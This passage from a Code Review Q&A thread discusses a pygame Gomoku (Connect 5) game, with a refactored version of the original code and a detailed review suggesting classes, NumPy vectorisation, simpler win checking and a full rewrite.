started:</p>\n<pre><code>from typing import Tuple\n\nimport numpy as np\nimport math\nimport pygame\nfrom pygame import display, draw, font, Surface, QUIT, MOUSEBUTTONDOWN\n\n# static variables\nROW_COUNT = 15\nCOL_COUNT = 15\n\nEMPTY = 0\nBLACK_PIECE = 1 # black\nWHITE_PIECE = 2 # white\nPIECES = (BLACK_PIECE, WHITE_PIECE)\n\n# define screen size\nBLOCKSIZE = 50 # individual grid\nS_WIDTH = COL_COUNT * BLOCKSIZE # screen width\nS_HEIGHT = ROW_COUNT * BLOCKSIZE # screen height\nPADDING_RIGHT = 200 # for game menu\nSCREENSIZE = (S_WIDTH + PADDING_RIGHT, S_HEIGHT)\nRADIUS = 20 # game piece radius\n\n# colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nBROWN = (205, 128, 0)\nPIECE_COLOURS = (BLACK, WHITE)\n\n\ndef create_board(row: int, col: int) -> np.ndarray:\n return np.zeros((row, col), dtype=np.int32)\n\n\ndef draw_board(screen: Surface) -> None:\n screen.fill(BROWN)\n\n # draw vertical inner grid lines\n for x in range(BLOCKSIZE // 2, S_WIDTH + BLOCKSIZE // 2, BLOCKSIZE):\n draw.line(\n screen, BLACK,\n start_pos=(x, BLOCKSIZE // 2),\n end_pos=(x, S_HEIGHT-BLOCKSIZE // 2),\n width=2,\n )\n\n # draw horizontal inner lines\n for y in range(BLOCKSIZE // 2, S_HEIGHT + BLOCKSIZE // 2, BLOCKSIZE):\n draw.line(\n screen, BLACK,\n start_pos=(BLOCKSIZE // 2, y),\n end_pos=(S_WIDTH - BLOCKSIZE // 2, y),\n width=2,\n )\n\n\ndef drop_piece(board: np.ndarray, row: int, col: int, piece: int) -> None:\n board[row][col] = piece\n\n\ndef pixel_from_grid(x: int, y: int) -> Tuple[int, int]:\n return (\n x * BLOCKSIZE + BLOCKSIZE // 2,\n y * BLOCKSIZE + BLOCKSIZE // 2,\n )\n\n\ndef draw_piece(screen: Surface, board: np.ndarray) -> None:\n for piece, colour in zip(PIECES, PIECE_COLOURS):\n for y, x in np.argwhere(board == piece):\n draw.circle(\n screen, PIECE_COLOURS[board[y][x] - 1],\n pixel_from_grid(x, y), RADIUS,\n )\n display.update()\n\n\ndef is_valid_loc(board: np.ndarray, row: int, col: int) -> bool:\n return board[row][col] == EMPTY\n\n\ndef who_wins(board: np.ndarray, piece: int) -> bool:\n # check for horizontal win\n for c in range(COL_COUNT - 4):\n for r in range(ROW_COUNT):\n if np.all(board[r, c:c+5] == piece):\n return True\n\n # check for vertical win\n for c in range(COL_COUNT):\n for r in range(ROW_COUNT - 4):\n if np.all(board[r:r+5, c] == piece):\n return True\n\n # check for positively sloped diagonal wih\n for c in range(COL_COUNT - 4):\n for r in range(4, ROW_COUNT):\n if (\n board[r, c] == piece\n and board[r-1, c+1] == piece\n and board[r-2, c+2] == piece\n and board[r-3, c+3] == piece\n and board[r-4, c+4] == piece\n ):\n return True\n\n # check for negatively sloped diagonal win\n for c in range(COL_COUNT - 4):\n for r in range(ROW_COUNT - 4):\n if (\n board[r, c] == piece\n and board[r+1, c+1] == piece\n and board[r+2, c+2] == piece\n and board[r+3, c+3] == piece\n and board[r+4, c+4] == piece\n ):\n return True\n\n return False\n\n\ndef setup_gui() -> Surface:\n screen = display.set_mode(SCREENSIZE)\n display.set_caption('Gomoku (Connet 5)')\n # icon = pygame.image.load('icon.png')\n # pygame.display.set_icon(icon)\n\n draw_board(screen)\n display.update()\n return screen\n\n\ndef end_banner(screen: Surface, piece: str) -> None:\n my_font = font.Font('freesansbold.ttf', 32)\n label = my_font.render(f'{piece} wins!', True, WHITE, BLACK)\n screen.blit(label, (280, 50))\n display.update()\n\n\ndef game(screen: Surface) -> None:\n turn = BLACK_PIECE\n\n # board 2D array\n board = create_board(ROW_COUNT, COL_COUNT)\n\n # game loop\n while True:\n event = pygame.event.wait()\n if event.type == QUIT:\n return\n\n elif event.type == MOUSEBUTTONDOWN:\n x_pos, y_pos = event.pos\n col = math.floor(x_pos / BLOCKSIZE)\n row = math.floor(y_pos / BLOCKSIZE)\n\n if not is_valid_loc(board, row, col):\n continue\n\n drop_piece(board, row, col, turn)\n draw_piece(screen, board)\n\n if who_wins(board, turn):\n name = 'Black' if turn == BLACK_PIECE else 'White'\n end_banner(screen, name)\n return\n\n turn = 3 - turn\n\n\ndef main() -> None:\n # initialize the pygame program\n pygame.init()\n try:\n screen = setup_gui()\n game(screen)\n while pygame.event.wait().type != QUIT:\n pass\n finally:\n pygame.quit()\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T03:43:47.547",
"Id": "263966",
"ParentId": "263936",
"Score": "6"
}
},
{
"body": "<p>On the whole, this game works nicely and the design decisions make sense for the size and purpose of the program. Variable names are clear, there's some separation between GUI and game logic and you've made an effort to use functions. Some of my suggestions might be premature, but if you plan to extend the program to add a feature like an AI or undo/redo moves, I'd suggest a redesign.</p>\n<h3>Crash</h3>\n<p>On my screen, a white bar renders on the right side of the game. If you click it, <code>drop_a_piece</code> raises an uncaught <code>IndexError</code> because it has no bounds checking.</p>\n<h3>Avoid unnecessary comments</h3>\n<p>Many of the comments are redundant:</p>\n<pre><code># drop a piece\ndef drop_piece(board, row, col, piece):\n board[row][col] = piece\n</code></pre>\n<p>I can tell from the function name that this drops a piece. Comments like this feel insulting to the reader's intelligence. If you want to document your functions, the Python way is to use <a href=\"https://www.programiz.com/python-programming/docstrings\" rel=\"nofollow noreferrer\">docstrings</a> and (optionally) <a href=\"https://docs.python.org/3/library/doctest.html\" rel=\"nofollow noreferrer\">doctests</a> to enforce contracts.</p>\n<p>Occasional <code>#</code> comments are OK, as long as they actually offer deep insight into the code that isn't necessarily apparent otherwise. You have a few of these, like</p>\n<pre><code># turn decision, if black(1)/white(2) piece already placed, go back to the previous turn\n</code></pre>\n<p>...but make sure these comments aren't crutches to make up for unnecessarily confusing code.</p>\n<h3>Avoid comments as a substitute for proper code abstractions</h3>\n<p>Other comments are used in place of namespaces or functions, real program structures that organize logic.</p>\n<p>For example, something as simple as:</p>\n<pre><code># colors\nBLACK = (0,0,0)\nWHITE = (255,255,255)\nBROWN = (205,128,0)\n</code></pre>\n<p>could be:</p>\n<pre><code>class Colors:\n BLACK = 0, 0, 0\n WHITE = 255, 255, 255\n BROWN = 205, 128, 0\n</code></pre>\n<p>An example of a comment that seems to be trying to denote a function is in <code>who_wins</code></p>\n<pre><code># check for vertical win\nfor c in range(COL_COUNT):\n# ... more code ...\n</code></pre>\n<p>which might as well be broken out into a function called <code>check_vertical_win</code>. After following this to its conclusion, <code>who_wins</code> would look like:</p>\n<pre><code>def who_wins(board, piece):\n return (\n check_left_diagonal_win(board, piece) or\n check_right_diagonal_win(board, piece) or\n check_vertical_win(board, piece) or\n check_horizontal_win(board, piece)\n )\n</code></pre>\n<p>The problem now is that <code>board</code> and <code>piece</code> have to be passed around through multiple layers of these C-style, non-OOP functions, which I'll discuss later.</p>\n<h3>Go all-in or all-out with NumPy</h3>\n<p>If you're bringing in NumPy, you might as well use it to its full potential! The only NumPy call in the whole code is <code>board = np.zeros((row,col))</code>. This seems like a missed opportunity -- you should be able to vectorize many of your operations and write idiomatic NumPy code. This might seem premature, but if you were to add an AI that needs to traverse the game tree, NumPy can offer potentially massive efficiency boosts. Readability would hopefully improve.</p>\n<p>If you're not going to use NumPy as more than a glorified 2d list print formatter, I'd drop the dependency and add a few-line pretty print helper, or remove the <code>print</code> entirely since it's a GUI game.</p>\n<h3>Go all-in or all-out on making it a module</h3>\n<p>The code has the "driver" code that's typical of modules that expect to be imported as a distinct package:</p>\n<pre><code>if __name__ == '__main__':\n main()\n</code></pre>\n<p>but due to all of the scattershot variables and functions outside of <code>main</code>, it's not a very convenient module that would be usable if imported, so this seems like a false promise.</p>\n<p><code>main</code> should be really simple -- that's your client using the code as a black box library (think of it like how you use NumPy), so you're asking them to implement 80 lines in order to use your functions to implement a Gomoku game. Clearly, far too much of the game logic has been dumped into <code>main</code>. Ideally, you'd get that down to a couple lines or so that work as a black box, possibly with some configutation knobs, something like:</p>\n<pre><code>if __name__ == '__main__':\n game = Gomoku(some_config)\n game.play()\n</code></pre>\n<p>Creating a class to operate on board state, or at least using modules and namespacing your functions and data can help solve the problem of having to pass <code>board</code> to your functions and break encapsulation constantly to read globals.</p>\n<p>I'd prefer a <code>Gomoku</code> class that runs the GUI and game loop which is the client of a <code>GomokuPosition</code> class that encompasses the board, ply and methods that operate on game state.</p>\n<h3>Reduce cyclomatic complexity</h3>\n<p>You do a pretty good job of using fairly small and single-ish responsibility functions up until <code>main</code>, when complexity blows up. There are 13 branches and loops that nest up to 6 deep:</p>\n<pre><code>while not game_over:\n for event in pygame.event.get():\n elif event.type == pygame.MOUSEBUTTONDOWN:\n if turn == 0:\n if is_valid_loc(board, row, col):\n if who_wins(board,piece_1):\n # you may ask yourself, "well... how did I get here?"\n</code></pre>\n<p>This is difficult to reason about and should be multiple, single-purpose functions, keeping UI and game logic as separate as possible (helpful if you plan to add AI).</p>\n<p>Keep nesting to no more than 2-3 blocks deep and keep <code>if</code>/<code>else</code> chains to no more than 2-3 branches long, otherwise the function is too complex.</p>\n<h3>Avoid long lines</h3>\n<p>I have to horizontally scroll to read lines like:</p>\n<pre><code>if board[r][c] == piece and board[r+1][c+1] == piece and board[r+2][c+2] == piece and board[r+3][c+3] == piece\\\n and board[r+4][c+4] == piece:\n</code></pre>\n<p>Please stick to a width of 80 characters. Checks like this could be broken out into functions or be broken into multiple lines with parentheses (almost always avoid the backslash to continue a line):</p>\n<pre><code>if (\n board[r][c] == piece and \n board[r+1][c+1] == piece and \n board[r+2][c+2] == piece and \n board[r+3][c+3] == piece and\n board[r+4][c+4] == piece\n):\n</code></pre>\n<p>(This uses the "sad face" style advocated by <a href=\"https://github.com/psf/black\" rel=\"nofollow noreferrer\">Black</a>).</p>\n<p>Better yet, there's a pattern here you can extract and exploit with NumPy:</p>\n<pre><code>if np.all(board.diagonal(r)[c:c+5] == piece):\n</code></pre>\n<p>This isn't just a matter of elegance, iterating at a higher level of abstraction in place of heavy reliance on low-level indexing/<code>range()</code> should reduce bugs. A codebase with tons of verbose manual indexing tends to harbor subtle off-by-one, copy-paste and typo-style errors and can be hard to trust and validate.</p>\n<p>If you're as inept at NumPy as I am, I can usually find the right vector by searching for stuff like "numpy diagonal slice". 99% of the time there's a <a href=\"https://numpy.org/doc/stable/reference/generated/numpy.diagonal.html\" rel=\"nofollow noreferrer\">builtin</a> or a one-liner that puts my imperative Python <code>for</code> loop code to shame. If you decide against using NumPy, you can still use slices (and often <code>itertools</code>) to try to minimize error-prone and non-idiomatic <code>range</code> calls and indexes.</p>\n<h3><a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">DRY</a> out similar code</h3>\n<p>The chunks of code <code># Ask for Player 1 move</code> and <code># Ask for Player 2 move</code> are pretty much the same with obvious parameters: <code>piece_num</code> and <code>on_win_message</code>. Code like this is ready for a function. After that refactor, they still bake together game logic and presentation/UI, so I'd tease those two apart.</p>\n<h3>Use intermediate variables to simplify code</h3>\n<p>Consider:</p>\n<pre><code>for x in range(BLOCKSIZE // 2, S_WIDTH - BLOCKSIZE // 2 + BLOCKSIZE, BLOCKSIZE):\n line_start = (x, BLOCKSIZE // 2)\n line_end = (x,S_HEIGHT-BLOCKSIZE // 2)\n pygame.draw.line(screen, BLACK, line_start,line_end,2)\n</code></pre>\n<p>Assuming we won't use NumPy here, <code>BLOCKSIZE // 2</code> is done repeatedly and the code is generally screamy/COBOL-y and hard on the eyes. Even using two local variables offers a bit of relief, gaining horizontal readability for a few extra vertical lines:</p>\n<pre><code>half = BLOCKSIZE // 2\nend = S_WIDTH - half + BLOCKSIZE\n\nfor x in range(half, end, BLOCKSIZE):\n line_start = x, half\n line_end = x, S_HEIGHT - half\n pygame.draw.line(screen, BLACK, line_start, line_end, width=2)\n</code></pre>\n<p>I snuck in <code>width=2</code>, because it's hard to tell what that parameter means otherwise. It's generally a great idea to use named parameters.</p>\n<h3>Avoid magic variables/literals</h3>\n<p>The code</p>\n<pre><code>piece_1 = 1 # black\npiece_2 = 2 # white\n</code></pre>\n<p>looks like an attempt at an enumeration but why not <code>BLACK = 0</code> and <code>WHITE = 1</code>? An empty square is a 0, so on further inspection this makes sense, but I'm not sure these pieces need to exist; the only places in the code these are used are:</p>\n<pre><code>drop_piece(board, row, col, piece_1)\ndraw_piece(SCREEN,board)\n\nif who_wins(board,piece_1):\n</code></pre>\n<p>and another location, where they're substituted in favor of magic constants:</p>\n<pre><code>if board[row][col] == 1: # <-- really piece_1\n turn = 0\nif board[row][col] == 2: # <-- really piece_2\n turn = 1\n</code></pre>\n<p>All of this seems a little ad-hoc.</p>\n<p>Similarly, the hardcoded literal <code>4</code> appears many times inside of <code>who_wins</code>. It's not clear why this wasn't made a constant as was done for the other board configuration numbers.</p>\n<h3>Simplify win checking</h3>\n<p>There's no need to scan the entire board to check a win. You can count in 4 directions from the last move, counting matching cells outward until you hit the desired total on one of the directions.</p>\n<p>You can use a count of the number of turns taken so far to skip the entire win check if there are simply not enough pieces on the board for a win to be possible. For almost no expense, you get a massive performance boost if you add an AI that searches the tree later.</p>\n<h3>Minor nitpicks</h3>\n<ul>\n<li><p>In <code>col = int(math.floor(x_pos / BLOCKSIZE))</code>, <code>math.floor</code> already returns an <code>int</code> so you can skip the extra call. Or skip both and use the floor division operator <code>//</code>.</p>\n</li>\n<li><p>Unpacking can be elegant:</p>\n<pre><code>x_pos = event.pos[0]\ny_pos = event.pos[1]\n</code></pre>\n<p>goes to <code>x_pos, y_pos = event.pos</code></p>\n</li>\n<li><p><code>who_wins</code> is a bit oddly-worded because nobody may have won. I'd prefer <code>is_won</code>, <code>check_win</code> or <code>just_won</code> if it only checks for a win on the last move as proposed above.</p>\n</li>\n<li><p><code>game_over</code> isn't necessary; you could break the loop (or return if it was a function) and run the after-game delay separately.</p>\n</li>\n<li><p>2-player turn-based strategy games usually use <a href=\"https://en.wikipedia.org/wiki/Ply_(game_theory)\" rel=\"nofollow noreferrer\"><code>ply</code></a> instead of <code>turn</code>. You can keep incrementing <code>ply</code> and use its parity (<code>ply & 1</code> or <code>ply % 2 == 0</code>) to determine side. If you do use <code>turn</code> as a single bit that flips back and forth, I'd prefer <code>turn ^= 1</code> over</p>\n<pre><code>turn += 1\nturn = turn % 2\n</code></pre>\n</li>\n<li><p>Be consistent with spacing:</p>\n<pre><code>pygame.draw.line(screen, BLACK, line_start,line_end,2)\n</code></pre>\n<p>should be</p>\n<pre><code>pygame.draw.line(screen, BLACK, line_start, line_end, 2)\n</code></pre>\n</li>\n<li><p>Since draws are possible when the board fills up without either side making 5 in a row, you might want to handle this in the UI and game logic.</p>\n</li>\n<li><p>Pluralization: <code>draw_piece</code> really draws all the pieces, so it should be called <code>draw_pieces</code>.</p>\n</li>\n<li><p>Caption typo: <code>'Gomoku (Connet 5)'</code>. <a href=\"https://en.wikipedia.org/wiki/Connect_Four\" rel=\"nofollow noreferrer\">Connect 4</a> is a drop connection game, so Gomoku is more like <a href=\"https://en.wikipedia.org/wiki/M,n,k-game\" rel=\"nofollow noreferrer\">generalized mxnxk</a> <a href=\"https://en.wikipedia.org/wiki/Tic-tac-toe\" rel=\"nofollow noreferrer\">tic-tac-toe</a> but I'm just being pedantic.</p>\n</li>\n<li><p>Alphabetize imports.</p>\n</li>\n</ul>\n<h3>Possible rewrite</h3>\n<p>Here's the <code>GomokuPosition</code> module:</p>\n<pre><code>class GomokuPosition:\n dirs = (\n ((0, -1), (0, 1)), \n ((1, 0), (-1, 0)),\n ((1, 1), (-1, -1)),\n ((1, -1), (-1, 1)),\n )\n\n def __init__(self, rows, cols, n_to_win, players="wb", blank="."):\n self.ply = 0\n self.rows = rows\n self.cols = cols\n self.last_move = None\n self.n_to_win = n_to_win\n self.boards = [[[0] * cols for _ in range(rows)] for i in range(2)]\n self.players = players\n self.blank = blank\n\n def board(self, row=None, col=None):\n if row is None and col is None:\n return self.boards[self.ply&1]\n elif col is None:\n return self.boards[self.ply&1][row]\n\n return self.boards[self.ply&1][row][col]\n\n def move(self, row, col):\n if self.in_bounds(row, col) and self.is_empty(row, col):\n self.board(row)[col] = 1\n self.ply += 1\n self.last_move = row, col\n return True\n\n return False\n\n def is_empty(self, row, col):\n return not any(board[row][col] for board in self.boards)\n\n def in_bounds(self, y, x):\n return y >= 0 and y < self.rows and x >= 0 and x < self.cols\n\n def count_from_last_move(self, dy, dx):\n if not self.last_move:\n return 0\n\n last_board = self.boards[(self.ply-1)&1]\n y, x = self.last_move\n run = 0\n\n while self.in_bounds(y, x) and last_board[y][x]:\n run += 1\n x += dx\n y += dy\n \n return run\n\n def just_won(self):\n return self.ply >= self.n_to_win * 2 - 1 and any(\n (self.count_from_last_move(*x) + \n self.count_from_last_move(*y) - 1 >= self.n_to_win)\n for x, y in self.dirs\n )\n \n def is_draw(self):\n return self.ply >= self.rows * self.cols and not self.just_won()\n\n def last_player(self):\n if self.ply < 1:\n raise IndexError("no moves have been made")\n\n return self.players[(self.ply-1)&1]\n\n def char_for_cell(self, row, col):\n for i, char in enumerate(self.players):\n if self.boards[i][row][col]:\n return char\n \n return self.blank\n\n def to_grid(self):\n return [\n [self.char_for_cell(row, col) for col in range(self.cols)]\n for row in range(self.rows)\n ]\n\n def __repr__(self):\n return "\\n".join([" ".join(row) for row in self.to_grid()])\n\n\nif __name__ == "__main__":\n pos = GomokuPosition(rows=4, cols=4, n_to_win=3)\n\n while not pos.just_won() and not pos.is_draw():\n print(pos, "\\n")\n\n try:\n if not pos.move(*map(int, input("[row col] :: ").split())):\n print("try again")\n except (ValueError, IndexError):\n print("try again")\n\n print(pos, "\\n")\n \n if pos.just_won():\n print(pos.last_player(), "won")\n else:\n print("draw")\n</code></pre>\n<p>Now the <code>Gomoku</code> GUI module can import the position and use it as a backend for the game logic as shown below. Admittedly, I got a little bored with the GUI so there are plenty of rough edges and questionable UX decisions left as an exercise for the reader.</p>\n<pre><code>import itertools\nimport pygame\n\nfrom gomoku_position import GomokuPosition\n\nclass Colors:\n BLACK = 0, 0, 0\n WHITE = 255, 255, 255\n BROWN = 205, 128, 0\n\n\nclass Gomoku:\n def __init__(\n self,\n size=60,\n piece_size=20,\n rows=15,\n cols=15,\n n_to_win=5,\n caption="Gomoku"\n ):\n self.rows = rows\n self.cols = cols\n self.w = rows * size\n self.h = cols * size\n self.size = size\n self.piece_size = piece_size\n self.half_size = size // 2\n pygame.init()\n pygame.display.set_caption(caption)\n self.screen = pygame.display.set_mode((self.w, self.h))\n self.screen.fill(Colors.WHITE)\n self.player_colors = {"w": Colors.WHITE, "b": Colors.BLACK}\n self.player_names = {"w": "White", "b": "Black"}\n self.board = GomokuPosition(rows, cols, n_to_win)\n\n def row_lines(self):\n half = self.half_size\n\n for y in range(half, self.h - half + self.size, self.size):\n yield (half, y), (self.w - half, y)\n\n def col_lines(self):\n half = self.half_size\n\n for x in range(half, self.w - half + self.size, self.size):\n yield (x, half), (x, self.h - half)\n \n def draw_background(self):\n rect = pygame.Rect(0, 0, self.w, self.h)\n pygame.draw.rect(self.screen, Colors.BROWN, rect)\n\n def draw_lines(self):\n lines = itertools.chain(self.col_lines(), self.row_lines())\n\n for start, end in lines:\n pygame.draw.line(\n self.screen, \n Colors.BLACK, \n start, \n end, \n width=2\n )\n\n def draw_board(self):\n self.draw_background()\n self.draw_lines()\n \n def draw_piece(self, row, col):\n player = self.board.last_player()\n circle_pos = (\n col * self.size + self.half_size, \n row * self.size + self.half_size,\n )\n pygame.draw.circle(\n self.screen, \n self.player_colors[player], \n circle_pos, \n self.piece_size\n )\n\n def show_outcome(self):\n player = self.player_names[self.board.last_player()]\n msg = "draw!" if self.board.is_draw() else f"{player} wins!"\n font_size = self.w // 10\n font = pygame.font.Font("freesansbold.ttf", font_size)\n label = font.render(msg, True, Colors.WHITE, Colors.BLACK)\n x = self.w // 2 - label.get_width() // 2\n y = self.h // 2 - label.get_height() // 2\n self.screen.blit(label, (x, y))\n\n def exit_on_click(self):\n while True:\n for event in pygame.event.get():\n if (event.type == pygame.QUIT or \n event.type == pygame.MOUSEBUTTONDOWN):\n pygame.quit()\n return\n\n def make_move(self, x, y):\n col = x // self.size\n row = y // self.size\n \n if self.board.move(row, col):\n self.draw_piece(row, col)\n \n def play(self):\n pygame.time.Clock().tick(10)\n self.draw_board()\n pygame.display.update()\n\n while not self.board.just_won() and not self.board.is_draw():\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n return\n elif event.type == pygame.MOUSEBUTTONDOWN:\n self.make_move(*event.pos)\n pygame.display.update()\n \n self.show_outcome()\n pygame.display.update()\n self.exit_on_click()\n\nif __name__ == "__main__":\n game = Gomoku(rows=5, cols=5, n_to_win=4)\n game.play()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T03:52:24.357",
"Id": "263967",
"ParentId": "263936",
"Score": "10"
}
}
] |
{
"AcceptedAnswerId": "263967",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T18:53:35.207",
"Id": "263936",
"Score": "12",
"Tags": [
"python",
"pygame"
],
"Title": "Gomoku (Connect 5) game implementation in pygame"
}
|
263936
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.